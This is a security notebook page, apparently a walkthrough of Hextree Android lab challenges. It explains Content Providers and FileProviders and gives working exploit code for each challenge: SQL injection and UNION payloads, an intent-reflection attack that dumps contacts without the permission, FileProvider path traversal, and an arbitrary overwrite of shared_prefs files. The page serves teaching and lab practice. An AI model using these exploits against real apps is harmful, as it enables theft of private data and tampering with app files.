🔏
roguebook
  • group
    • Web
      • Concepts
      • OAuth 2.0
      • File upload
      • API testing
      • Web Cache Decpetion
      • CORS
      • CSRF
      • Cross site web socket hijacking
      • XS-Leaks
    • Bug Bounty
      • Recon
        • Dorking
          • SSL Checker
        • Wordlists
          • Twitter wordlist suggestions
      • Tips & Tricks
        • Combined
        • CSP Bypasses & open redirect
        • 403 Bypass
        • Arrays in JSON
        • Open Redirect
        • Next.js Application
        • Locla File Read
        • External Link
        • xss bypass
        • CSRF cors bypass
        • ssrf
      • Talks/Interviews/Podcasts
        • Bug Bounty Talks
        • Podcasts
          • Critical Thinking - Bug Bounty Podcast
            • Learning
      • Tools
    • Android
      • Getting Started
      • Intent Attack Surface
      • Broadcast Receivers
      • Android Permissions
      • Android Services
      • Content and FileProvider
      • WebView & CustomTabs
      • Insecure Storage
      • Tips & Tricks
    • Thick Client
      • Lab Setup
      • Information Gathering
      • Traffic analysis
      • Insecure Data storage
      • Input validation
      • DLL hijacking
      • Forensics
      • Extra resources
    • OSINT
      • OpSec
    • Malware Analysis
      • Lab Setup
      • Networking
      • Tools
      • Malware source
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Analysis
      • Advanced Static Analysis
      • Advanced Dynamic Analysis
      • Malicious Document Analysis
      • Shellcode Analysis
    • Malware Development
    • Blue Team
      • Tools
      • Malware Analysis
        • Basic Static Analysis
    • Assembly
      • Instructions
    • Binary Exploitation
    • Infographics
    • Malware Analysis
    • Threat Modeling
Powered by GitBook
On this page
  • Cursor
  • Content Provider
  • grantUriPermissions
  • FileProvider
  • Insecre root path
  • Arbitrary file write
  • FileProvider Receivers
  1. group
  2. Android

Content and FileProvider

Android has an interesting feature to share data and files with other apps in a secure way. But this also increases the attack surface and there are a few pitfalls developers run into.

PreviousAndroid ServicesNextWebView & CustomTabs

Last updated 2 months ago

Cursor

A Cursor in Android is an interface that provides read-only, forward-only access to a set of data retrieved from a database, such as the contacts stored on the device. It acts as a pointer to rows in the result set of a query.

Content Provider

What is a Content Provider?

A Content Provider is an Android IPC mechanism that allows apps to securely share structured data with other apps. It acts like a database API, allowing apps to query, insert, update, and delete data using URIs.

Example Use Cases:

  • Contacts (ContactsContract.Provider)

  • Media files (Photos, Videos)

  • Call logs, Messages

  • Custom app data sharing

Content Providers are identified and accessed with a content:// URI.

this query returns data that is a table structure that can be explored using the Cursor object.

Using content provider and cursor to access contacts

((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    Cursor cursor = getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI, null, null, null, null);
                    ((TextView) findViewById(R.id.plain_text)).setText(ContactsContract.RawContacts.CONTENT_URI.toString());

                    if (cursor.moveToFirst()) {
                        do {
                            StringBuilder sb = new StringBuilder();
                            for (int i = 0; i < cursor.getColumnCount(); i++) {
                                if (sb.length() > 0) {
                                    sb.append(", ");
                                }
                                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
                            }
                            Log.d("evil", sb.toString());
                            ((TextView) findViewById(R.id.plain_text)).append("\n"+sb.toString());
                        } while (cursor.moveToNext());
                    }

ContactsContract.RawContacts.CONTENT_URIis actually a URI in android i.e.

content://com.android.contacts/raw_contacts
  1. First part is scheme of content provider i.e. content://

  2. secodn part is package name com.android.contacts also called authority.

Android content providers are also implemented using android IPC binder mechanism.

for above example. content provider app for contacts in our phone is com.android.providers.contacts

on decompiling it we can see it registers content provider.

<provider
            android:label="@string/provider_label"
            android:name="ContactsProvider2"
            android:readPermission="android.permission.READ_CONTACTS"
            android:writePermission="android.permission.WRITE_CONTACTS"
            android:exported="true"
            android:multiprocess="false"
            android:authorities="contacts;com.android.contacts"
            android:grantUriPermissions="true"
            android:visibleToInstantApps="true">
            <path-permission
                android:readPermission="android.permission.GLOBAL_SEARCH"
                android:pathPrefix="/search_suggest_query"/>
            <path-permission
                android:readPermission="android.permission.GLOBAL_SEARCH"
                android:pathPrefix="/search_suggest_shortcut"/>
            <path-permission
                android:readPermission="android.permission.GLOBAL_SEARCH"
                android:pathPattern="/contacts/.*/photo"/>
            <grant-uri-permission android:pathPattern=".*"/>
        </provider>
  • This Content Provider is responsible for storing, managing, and providing access to contacts.

  • It uses the authority "contacts;com.android.contacts", meaning multiple URIs can be used:

    • content://contacts/people (deprecated)

    • content://com.android.contacts/contacts

    • content://com.android.contacts/raw_contacts

    • content://com.android.contacts/data

  • It allows apps with the correct permissions to read (READ_CONTACTS) and write (WRITE_CONTACTS) contacts.

  • and it's main logic is in class ContactsProvider2

as we queries content provider there is query method defined in ContactsProvider2 class to handle query. similarly there is methods for updating, writing, deleting data etc.

e.g. getContentResolver().query, getContentResolver().update, getContentResolver().delete etc.

Lots of ContentProviders are backed by a SQLite database,

so any of your action is directly mapped to a SQL query which performs SQL commands to make changes in sqlite database.

Now lets' look at challenge, we have a provider aith authority io.hextree.flag30that is exported and mapped to Flag30Providerclass.

<provider
            android:name="io.hextree.attacksurface.providers.Flag30Provider"
            android:enabled="true"
            android:exported="true"
            android:authorities="io.hextree.flag30"/>

Let's look at that class

public class Flag30Provider extends ContentProvider {
    public static String secret = UUID.randomUUID().toString();
    ...SNIP....

    @Override // android.content.ContentProvider
    public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
        Log.i("Flag30", "Flag30Provider.query('" + uri.getPath() + "')");
        if (!uri.getPath().equals("/success")) {
            return null;
        }
        LogHelper logHelper = new LogHelper(getContext());
        logHelper.addTag(uri.getPath());
        Cursor query = this.dbHelper.getReadableDatabase().query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag30"}, null, null, str2);
        query.setNotificationUri(getContext().getContentResolver(), uri);
        success(logHelper);
        return query;
    }

    public String success(LogHelper logHelper) {
        ContentValues contentValues = new ContentValues();
        String appendLog = logHelper.appendLog(Flag30Activity.FLAG);
        contentValues.put(FlagDatabaseHelper.COLUMN_VALUE, appendLog);
        this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_FLAG, contentValues, "name=?", new String[]{"flag30"});
        try {
            Intent intent = new Intent();
            intent.setClass(getContext(), Flag30Activity.class);
            intent.putExtra("secret", secret);
            intent.addFlags(268435456);
            intent.putExtra("hideIntent", true);
            getContext().startActivity(intent);
        } catch (Exception e) {
            e.printStackTrace();
            Log.e("Flag30Provider", "Exception in start activity. Restart the target app and try again.", e);
        }
        return appendLog;
    }

    @Override // android.content.ContentProvider
    public int update(Uri uri, ContentValues contentValues, String str, String[] strArr) {
        throw new UnsupportedOperationException("Not yet implemented");
    }

As you can see query method is overridden and has custom logic to handle incoming uri.

In order to reach success function we have just pass this check uri.getPath().equals("/success")

Which means our exploit just have to include /successin path.

Cursor cursor = getContentResolver().query(Uri.parse("content://io.hextree.flag30/success"), null, null, null, null);

Note: if you get this error

Failed to find provider info for io.hextree.flag30

and to resolve this you just have to declare in manifest we are querying with this app. As we did previously in services section.

public class Flag31Provider extends ContentProvider {
   ....

    static {
        UriMatcher uriMatcher2 = new UriMatcher(-1);
        uriMatcher = uriMatcher2;
        uriMatcher2.addURI(AUTHORITY, "flags", 1);
        uriMatcher2.addURI(AUTHORITY, "flag/#", 2);
    }

   ...SNIP...

    @Override // android.content.ContentProvider
    public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
        StringBuilder append = new StringBuilder("Flag31Provider.query('").append(uri.getPath()).append("'): ");
        UriMatcher uriMatcher2 = uriMatcher;
        Log.i("Flag31", append.append(uriMatcher2.match(uri)).toString());
        SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
        int match = uriMatcher2.match(uri);
        if (match == 1) {
            throw new IllegalArgumentException("FLAGS not implemented yet: " + uri);
        }
        if (match == 2) {
            long parseId = ContentUris.parseId(uri);
            Log.i("Flag31", "FLAG_ID: " + parseId);
            if (parseId == 31) {
                LogHelper logHelper = new LogHelper(getContext());
                logHelper.addTag(uri.getPath());
                success(logHelper);
            }
            return readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag" + parseId}, null, null, str2);
        }
        throw new IllegalArgumentException("Unknown URI: " + uri);
    }

    public String success(LogHelper logHelper) {
        ContentValues contentValues = new ContentValues();
        String appendLog = logHelper.appendLog(Flag31Activity.FLAG);
        contentValues.put(FlagDatabaseHelper.COLUMN_VALUE, appendLog);
        this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_FLAG, contentValues, "name=?", new String[]{"flag31"});
        try {
            Intent intent = new Intent();
            intent.setClass(getContext(), Flag31Activity.class);
            intent.putExtra("secret", secret);
            intent.addFlags(268435456);
            intent.putExtra("hideIntent", true);
            getContext().startActivity(intent);
        } catch (Exception e) {
            e.printStackTrace();
            Log.e("Flag31Provider", "Exception in start activity. Restart the target app and try again.", e);
        }
        return appendLog;
    }

You can see first provider class creates URI matcher which assigns different number to all possible path values.

uriMatcher2.addURI(AUTHORITY, "flag/#", 2); here # is placeholder for integer values. which means a path like content://authoritu/flag/123 will match with second URI matcher

long parseId = ContentUris.parseId(uri); extracts integer ID part from URI.

so, solution becomes

Cursor cursor = getContentResolver().query(Uri.parse("content://io.hextree.flag31/flag/31"), null, null, null, null);

Note: same as broadcast, services content providers also doesn't allow us to launch activity from background to not disturb user UI experience. Unless app was recently opened .

As you have ssen already user supplied data is passed to SQL query, what does that hint sql injeciton. let's look at this challenge

public class Flag32Provider extends ContentProvider {
   ...SNIP...

    static {
        UriMatcher uriMatcher2 = new UriMatcher(-1);
        uriMatcher = uriMatcher2;
        uriMatcher2.addURI(AUTHORITY, "flags", 1);
        uriMatcher2.addURI(AUTHORITY, "flag/#", 2);
    }

    ..SNIP...
    @Override // android.content.ContentProvider
    public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
        StringBuilder append = new StringBuilder("Flag32Provider.query('").append(uri.getPath()).append("'): ");
        UriMatcher uriMatcher2 = uriMatcher;
        Log.i("Flag32", append.append(uriMatcher2.match(uri)).toString());
        SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
        int match = uriMatcher2.match(uri);
        if (match != 1) {
            if (match == 2) {
                long parseId = ContentUris.parseId(uri);
                Log.i("Flag32", "FLAG_ID: " + parseId);
                return readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag" + parseId}, null, null, str2);
            }
            throw new IllegalArgumentException("Unknown URI: " + uri);
        }
        String str3 = "visible=1" + (str != null ? " AND (" + str + ")" : "");
        Log.i("Flag32", "FLAGS: " + str3);
        Cursor query = readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, str3, strArr2, null, null, str2);
        if (containsFlag32(query)) {
            LogHelper logHelper = new LogHelper(getContext());
            logHelper.addTag(uri.getPath());
            logHelper.addTag("flag32");
            success(logHelper);
            query.requery();
        }
        return query;
    }

    public boolean containsFlag32(Cursor cursor) {
        if (cursor == null) {
            return false;
        }
        int columnIndex = cursor.getColumnIndex(FlagDatabaseHelper.COLUMN_NAME);
        while (cursor.moveToNext()) {
            if ("flag32".equals(cursor.getString(columnIndex))) {
                return true;
            }
        }
        return false;
    }

if path matches /flags it goes on to create sql query String str3 = "visible=1" + (str != null ? " AND (" + str + ")" : ""); and then executes it to retrieve all flags that are visibile =1 . where str is user controlled selectionparameter in query() that we send.

so solution

Cursor cursor = getContentResolver().query(Uri.parse("content://io.hextree.flag32/flags"), null, "1)or  visible=0-- -", null, null);

query that looks like:

sqlCopyEditSELECT * FROM Flag WHERE visible=1 AND (user_input);

After injection, the query becomes:

SELECT * FROM Flag WHERE visible=1 AND (1) OR visible=0-- -

which then returns flag with visible as value 0 too.

and success methos is called.

grantUriPermissions

<provider
    android:name=".providers.Flag33Provider1"
    android:authorities="io.hextree.flag33_1"
    android:enabled="true"
    android:exported="false"
    android:grantUriPermissions="true" />

The android:grantUriPermissions="true" attribute in the <provider> tag allows the content provider to grant URI-based permissions to other apps, meaning that you can give specific external applications access to particular URIs within your content provider, even if the provider itself is not exported to the outside world.

When you set android:grantUriPermissions="true", you're allowing external applications (other apps besides your own) to access specific data within your content provider, but only for particular URIs that you explicitly share.

How It Works:

  1. URI Permissions: These are specific permissions granted for accessing certain content within a content provider using URIs. For instance, you might want to allow another app to access just one table or one type of data in your provider without giving them full access to everything.

  2. How the Other App Uses the Permission: When another app tries to access the content provider, it must have the proper permissions. With URI permissions, you can allow another app to access specific URIs in your provider, even if the provider is not "exported" (i.e., accessible to all apps).

e.g.

public class Flag33Activity1 extends AppCompactActivity {
    public static String FLAG = "rB3JCu28J539ayh6bZRI1JHCy+GaWVphuIxf7FiCaZ1vvZ5k7McF5A97w/Jw9ozr";

    public Flag33Activity1() {
        this.name = "Flag 33.1 - Return Provider Access";
        this.tag = "Content Provider";
        this.tagColor = R.color.purple;
        this.flag = FLAG;
        this.description = Flag33Activity1.class.getCanonicalName();
    }

    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Intent intent = getIntent();
        String stringExtra = intent.getStringExtra("secret");
        if (stringExtra == null) {
            if (intent.getAction() == null || !intent.getAction().equals("io.hextree.FLAG33")) {
                return;
            }
            intent.setData(Uri.parse("content://io.hextree.flag33_1/flags"));
            intent.addFlags(1);
            setResult(-1, intent);
            finish();
            return;
        }
        if (Flag33Provider1.secret.equals(stringExtra)) {
            this.f = new LogHelper(this);
            this.f.addTag("access-notes-table");
            this.f.addTag("flag33");
            checkStatus(this);
        }
    }

this activity recive an intent , modify it with URI of a ocntent provider and add a permission for receiving app. i.e. intent.addFlags(1);which allows receiving app to access resource at content://io.hextree.flag33_1/flags flag 1 is Intent.FLAG_GRANT_READ_URI_PERMISSION this is a temporary permission.

When you use Intent.FLAG_GRANT_READ_URI_PERMISSION (or FLAG_GRANT_WRITE_URI_PERMISSION for write access), you're telling Android to allow the external app to access the resource specified by the URI and only that resource.

code of content provider class.

public class Flag33Provider1 extends ContentProvider {
    public static final String AUTHORITY = "io.hextree.flag33_1";
    private static final int FLAGS = 1;
    private static final int NOTES = 2;
    public static String secret = UUID.randomUUID().toString();
    private static final UriMatcher uriMatcher;
    private FlagDatabaseHelper dbHelper;

    static {
        UriMatcher uriMatcher2 = new UriMatcher(-1);
        uriMatcher = uriMatcher2;
        uriMatcher2.addURI(AUTHORITY, "flags", 1);
        uriMatcher2.addURI(AUTHORITY, "notes", 2);
    }

    ....SNIP...
    @Override // android.content.ContentProvider
    public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
        StringBuilder append = new StringBuilder("Flag33Provider1.query('").append(uri.getPath()).append("'): ");
        UriMatcher uriMatcher2 = uriMatcher;
        Log.i("Flag33Provider1", append.append(uriMatcher2.match(uri)).toString());
        SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
        int match = uriMatcher2.match(uri);
        if (match != 1) {
            if (match == 2) {
                throw new IllegalArgumentException("access to Notes table not yet implemented");
            }
            throw new IllegalArgumentException("Unknown URI: " + uri);
        }
        LogHelper logHelper = new LogHelper(getContext());
        logHelper.addTag("access-notes-table");
        logHelper.addTag("flag33");
        prepareDB(logHelper);
        Cursor query = readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, str, strArr2, null, null, str2);
        if (containsFlag33(query)) {
            success(logHelper);
        }
        return query;
    }

    void prepareDB(LogHelper logHelper) {
        ContentValues contentValues = new ContentValues();
        contentValues.put(FlagDatabaseHelper.COLUMN_CONTENT, logHelper.appendLog(Flag33Activity1.FLAG));
        this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_NOTE, contentValues, "title=?", new String[]{"flag33"});
    }

    public boolean containsFlag33(Cursor cursor) {
        if (cursor == null) {
            return false;
        }
        boolean z = false;
        while (cursor.moveToNext()) {
            int i = 0;
            while (true) {
                if (i >= cursor.getColumnCount()) {
                    break;
                }
                if ("flag33".equals(cursor.getString(i))) {
                    z = true;
                    break;
                }
                i++;
            }
        }
        return z;
    }

in order to reach success we need to include all flag from database that has name flag33.

however that is present in different table. we will need some sql injection also

public class MainActivityHextree extends AppCompatActivity {


        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            EdgeToEdge.enable(this);
            setContentView(R.layout.activity_main);


            if(checkSelfPermission("android.permission.READ_CONTACTS")!= PackageManager.PERMISSION_GRANTED){
                requestPermissions(new String[]{"android.permission.READ_CONTACTS"}, 42);
            }

            ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {

                    Intent intent = new Intent("io.hextree.FLAG33");
                    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag33Activity1"));
                    startActivityForResult(intent, 2);


                }



            });



            }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        String str = data.getDataString();

        Cursor cursor = getContentResolver().query(Uri.parse(str), null, "name='flag32' union select _id, title, content, 1 from note", null, null);
        //Log.d("url",ContactsContract.RawContacts.CONTENT_URI.toString());

        //getContentResolver().
        if (cursor!=null && cursor.moveToFirst()) {
            do {
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < cursor.getColumnCount(); i++) {
                    if (sb.length() > 0) {
                        sb.append(", ");
                    }
                    sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
                }
                Log.d("evil", sb.toString());
                Intent intent = new Intent();
                intent.setFlags(2);

            } while (cursor.moveToNext());
        }


        }

here we send the intent receive the content provider URI with permission and send sql payload along with URI.

target application can send implicit intent too with content provider URI and content provider logic is same as last one.

 protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("secret");
        if (stringExtra == null) {
            Intent intent = new Intent();
            intent.setAction("io.hextree.FLAG33");
            intent.setData(Uri.parse("content://io.hextree.flag33_2/flags"));
            intent.addFlags(1);
            startActivity(intent);
            return;
        }

in this case we just have to register a listener

        <activity
            android:name=".SecondActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="io.hextree.FLAG33" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="content"   />
            </intent-filter>
        </activity>

note: without scheme or hostname os won't see your app as correct lsitener. Inititlaly i was doing intent action filter and i was getting error. then including atleast scheme solved it.

code

 @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_second);

        Intent intent = getIntent();

        Cursor cursor = getContentResolver().query(Uri.parse(intent.getDataString()),null, "name='flag32' union select _id, title, content, 1 from note",null,null,null);
        
    }

Take a look at this intent reflection vulnerability.

public class Flag8Activity extends AppCompactActivity {
    public Flag8Activity() {
        this.name = "Flag 8 - Do you expect a result?";
        this.tag = "ActivityResult";
        this.flag = "SswwbqGWnA950TVWt2lccPUGxr4PyWorpunFllh8DOY=";
    }

    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Log.i("Process", "id in stealing flag 8: " + Process.myPid());
        this.f = new LogHelper(this);
        ComponentName callingActivity = getCallingActivity();
        if (callingActivity != null) {
            if (callingActivity.getClassName().contains("Hextree")) {
                this.f.addTag("calling class contains 'Hextree'");
                success(this);
            } else {
                Log.i("Flag8", "access denied");
                setResult(0, getIntent());
            }
        }
    }

when else block executes it sends back the same intent that it recived. in this scenario this target app had access to contacts. which opens a door for a malicious app to access contacts without asking for that permission by just sending a intent with content provider URI and permission flag to this activity.

when it sends back that result intent, it will have temporary permission to access contacts too.

e.g.

public class MainActivity extends AppCompatActivity {

   // Cursor cursor


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);
        homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity"));
                intent.setData(Uri.parse("content://com.android.contacts/raw_contacts"));
                intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
                startActivityForResult(intent, 1);

            }
        });



        }

    @Override
    protected void onActivityResult(int req, int resp, Intent data){
        super.onActivityResult(req,resp,data);
        Log.d("here","gg");
        Cursor cursor = getContentResolver().query(Uri.parse(data.getDataString()),null,null,null,null);

        if (cursor!=null && cursor.moveToFirst()) {
            do {
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < cursor.getColumnCount(); i++) {
                    if (sb.length() > 0) {
                        sb.append(", ");
                    }
                    sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
                }
                Log.d("evil", sb.toString());


            } while (cursor.moveToNext());
        }

}

here we send the content provider URI and permission that we want in our intent . which is reflected back by our target app on receiving it we can query contacts and dump .

FileProvider

Content resolvers are not just used for accessing database content. They can be used to share files in memory with other apps too.

using this an app can ask for specific images instead of taking access of whole gallery. and os returns access to particular image only.

Such a provider can easily be identified in the Android manifest where it references the androidx.core.content.FileProvider name.

<provider android:name="androidx.core.content.FileProvider"
          android:exported="false" 
          android:authorities="io.hextree.files"
          android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" 
               android:resource="@xml/filepaths"/>
</provider>

Notable is the referenced XML file filepaths.xml which contains the configuration for this FileProvider.

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path name="flag_files" path="flags/"/>
    <files-path name="other_files" path="."/>
</paths>

A typical URI generated for this FileProvider could look like this content://io.hextree.files/other_files/secret.txt. Where the sections can be read like so:

  • content:// it's a content provider

  • io.hextree.files the authority from the android manifest

  • other_files which configuration entry is used

e.g

public class Flag34Activity extends AppCompactActivity {
    public static String FLAG = "odku80B0ub1HAB/HVRDwNmNGdmHGt9fO13eZ9cK7QqNvWiWnSZ2U7dH7Mnl2BAb+";

    public Flag34Activity() {
        this.name = "Flag 34 - Simple File Provider";
        this.tag = "File Provider";
        this.tagColor = R.color.purple;
        this.flag = FLAG;
        this.description = Flag34Activity.class.getCanonicalName();
    }

    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("filename");
        if (stringExtra != null) {
            prepareFlag(this, stringExtra);
            Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), stringExtra));
            Intent intent = new Intent();
            intent.setData(uriForFile);
            intent.addFlags(3);
            setResult(0, intent);
            return;
        }
        Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), "secret.txt"));
        Intent intent2 = new Intent();
        intent2.setData(uriForFile2);
        intent2.addFlags(3);
        setResult(-1, intent2);
    }

    void prepareFlag(Context context, String str) {
        if (str.contains("flag34.txt") && new File(getFilesDir(), str).exists()) {
            LogHelper logHelper = new LogHelper(context);
            logHelper.addTag("file-provider");
            logHelper.addTag("flag34");
            Utils.writeFile(this, "flags/flag34.txt", logHelper.appendLog(FLAG));
        }
    }
}

In this activity you can see on create, a content provider uri is created depending upon what we send as stringextra or do not set any extra. and that URI is sent back as result. with following permission

  • Read the file (FLAG_GRANT_READ_URI_PERMISSION).

  • Write to the file (FLAG_GRANT_WRITE_URI_PERMISSION).

How it works?

  1. getFilesDir() resolve to every app's internal file directory. e.g. /data/data/io.hextree.attacksurface/files

  2. new FIle(getFiledir(), secret.text)

    Creates a File object that represents the file located inside the app’s internal storage. e.g. `/data/data/io.hextree.attacksurface/files/secret.txt`

  3. Calling FileProvider.getUriForFile()

    javaCopyEditUri uriForFile = FileProvider.getUriForFile(
        this,                          // Context (Activity or Application)
        "io.hextree.files",            // Authority (Defined in Manifest)
        new File(getFilesDir(), secret.txt) // File object (Physical file path)
    );

    This method takes:

    1. Context (this) → Needed to retrieve app-specific resources.

    2. Authority ("io.hextree.files") → Must match the provider defined in AndroidManifest.xml.

    3. File object (new File(getFilesDir(), stringExtra)) → Represents the actual file to be shared.

  4. Finding the Corresponding FileProvider

    • Android checks the authority ("io.hextree.files") against providers declared in AndroidManifest.xml.

    • If it finds a FileProvider matching the given authority, it loads its associated file paths from res/xml/file_paths.xml.

  5. xml_path xml file:

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path
        name="flag_files"
        path="flags/"/>
    <files-path
        name="other_files"
        path="."/>
</paths>

the app defines which directories can be exposed via FileProvider.

  • "path='.'" → Means all files inside getFilesDir() are accessible.

  1. Generating content URI:

/data/data/io.hextree.app/files/flag34.txt

will become

content://io.hextree.files/other_files/secret.txt

and indeed that's what we get as result.

we need to read flag so we set the filename as extra and receive the uri and read the content from memory.

public class MainActivity extends AppCompatActivity {


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);

        Intent intent = new Intent();
        intent.putExtra("filename","flags/flag34.txt");
        intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity"));
        startActivityForResult(intent,2);
}

    @Override
    protected void onActivityResult(int req, int resp, Intent data){
        super.onActivityResult(req,resp,data);
        Utils.showDialog(this, data);
        try {
            InputStream input = getContentResolver().openInputStream(data.getData());
            BufferedReader reader = new BufferedReader(new InputStreamReader(input));
            String line;
            StringBuilder stringBuilder = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                stringBuilder.append(line).append("\n");

            }
            reader.close();
            input.close();
            Log.d("Result", String.valueOf(stringBuilder));
        } catch (RuntimeException e) {
            throw new RuntimeException(e);
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }


    }
}

this returns a content URI content://io.hextree.files/flag_files/flag34.txt which is mapped for /data/data/io.hextree.attacksurface/files/flags/flag34.txt

whose content we can read.

Insecre root path

Compare the filepaths.xml to the rootpaths.xml file provider configuration. Why is the <root-path> considered "insecure"?

filepaths.xml

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path name="flag_files" path="flags/"/>
    <files-path name="other_files" path="."/>
</paths>

Remember that the file provider configuration is used to generate file sharing URIs such as content://io.hextree.files/other_files/secret.txt. These sections can be read like so:

  • content:// it's a content provider

  • io.hextree.files the authority from the android manifest

  • other_files which configuration entry is used

  • /secret.txt the path of the file relative to the configured path in the .xml file

rootpaths.xml

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root_files" path="/"/>
</paths>

The file provider with a <root-path> configuration will generated URIs like this content://io.hextree.files/root_files/data/data/io.hextree.attacksurface/files/secret.txt. If we decode these sections we can see that this provider can map files of the entire filesystem

  • content:// it's a content provider

  • io.hextree.root the authority from the android manifest

  • root_files which configuration entry is used

  • /data/data/io.hextree.attacksurface/files/secret.txt the path of the file relative to the configured path, which is mapped to the filesystem root!

In itself the <root-path> configuration is not actually insecure, as long as only trusted files are shared. But if the app allows an attacker to control the path to any file, it can be used to expose arbitrary internal files.

which allows us to do file path traversal if path is attacker controlled

 protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("filename");
        if (stringExtra != null) {
            prepareFlag(this, stringExtra);
            Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
            Intent intent = new Intent();
            intent.setData(uriForFile);
            intent.addFlags(3);
            setResult(0, intent);
            return;
        }
Intent intent = new Intent();
intent.putExtra("filename","../flag35.txt");
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag35Activity"));
startActivityForResult(intent,2);

Here we tried reading a file that is outside the directory which getfilesdir() returns.

and we get access to arbitrary files.

Arbitrary file write

As shown before we also get write permission to content URI, which means we can update arbitrary files. But general app security applies here too, an app in android doesn't have permission to write files everywhere like /etc/hosts so you can't overwrite that.

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        Button homeButton = findViewById(R.id.home_button);

        Intent intent = new Intent();
        intent.putExtra("filename","../shared_prefs/Flag36Preferences.xml");
        intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag35Activity"));
        startActivityForResult(intent,2);
}

    @Override
    protected void onActivityResult(int req, int resp, Intent data){
        super.onActivityResult(req,resp,data);
        String strr = Utils.showDialog(this, data);
        //Log.d("ffff",strr);
        String xml="fff";
        try {
            OutputStream output = getContentResolver().openOutputStream(data.getData());
            output.write(xml.getBytes(StandardCharsets.UTF_8));
            output.close();
        } catch (RuntimeException e) {
            throw new RuntimeException(e);
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }


    }
}

This can be used if you know (from you analysis )if target app uses some .sofiles which can be overwritten or any other imporatant files.

FileProvider Receivers

Apps not always provide access to files using content URI, they can also receive data using content URI. e.g. an app can send content provider URI to target app and target app tries to import URI data to its' internal files .

e.g.

 @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
